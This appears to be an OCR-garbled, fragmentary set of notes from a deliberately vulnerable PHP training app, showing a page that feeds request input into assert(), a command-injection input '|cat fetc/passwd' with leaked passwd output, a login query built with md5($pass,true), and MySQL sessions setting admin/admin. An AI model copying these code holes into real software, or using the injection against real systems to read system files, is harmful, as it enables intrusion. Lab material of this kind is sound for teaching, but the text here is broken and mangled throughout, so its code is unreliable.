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<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>bugku - REEHAT</title>

</head>

<body>

<?php
include_once('../../bwvs_config/sys_config.php');
require_once('../header.php');
include "../class/function.class.php";
$p = new Func("GET","code");
$p -> con_html();
if (isset($_REQUEST[ 'submit'])) {

$code = $_REQUEST[ 'code'];
echo $p -> con_function('assert',$code);

}

?>

</body>

</html>
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<?php

require_once('../info.php');

?>
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0x02 & a4 #47 /bug/code_exec/exec.php

command: |cat fetc/passwd submit

mysql:x:27:27:-MySQL Server:/var/lib/mysql:/bin/bash
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mysql> insert into dwvs_admin_message(DWVS_admin_id,DWVS_admin_name,DWVS_admin_passwd) values (1,"admin","admin"
Query OK, 1 row affected (0.02 sec

mysql> select * from dwvs_admin_message
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| DWVS_admin_id | DWVS_admin_name | DWVS_admin_passwd |
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<?php
include_once('../bwvs_config/sys_config.php');
if (isset($_POST['submit'])) {

if(empty($_POST['admin_name']) || empty($_POST['admin_pass']))
{
$_SESSION['error_info'] = 'IRE#ER: HPLEFWLERL! '
header('Location: login.php');
telse{
$admin_name = $_POST[ 'admin_name'];
$admin_pass = $_POST[ 'admin_pass'];

$admin_name = clear_all($admin_name);

$admin_pass = clear_all($admin_pass);

$sql = "SELECT * FROM dwvs_admin_message WHERE DWVS_admin_name =

".md5($admin_pass,true). 8

$data = mysqli_query($connect, $sql) or die('MySQL Error!!');

if (mysqli_num_rows($data) != 0){
$_SESSION[ 'admin'] = $admin_name;

sleep(3);
header('Location: manage.php');
telse{
$_SESSION[ 'error_info'] = '"BE#RR: HFP LBEDLHEIR2! '
header('Location: login.php');}
}
}
else {
not_find($_SERVER['PHP_SELF']);
?>
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'$admin_name'

AND DWVS_admin_passwd = '

mysql> update dwvs_admin_message set DWVS_admin_passwd=md5("admin") where DWVS_admin_id=1;

Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: ©

mysql> select * from dwvs_admin_message;
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| DWVS_admin_id | DWVS_admin_name | DWVS_admin_passwd
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| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
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1 row in set (0.00 sec)
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root:x:8:@:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm: /var/adm: /sbin/nologin
lp:x:4:7:1p:/var/spool/lpd: /sbin/nologin
sync:x:5:@:sync:/sbin: /bin/sync
shutdown:x:6:@:shutdown:/sbin:/sbin/shutdown
halt:x:7:@:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:1@:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
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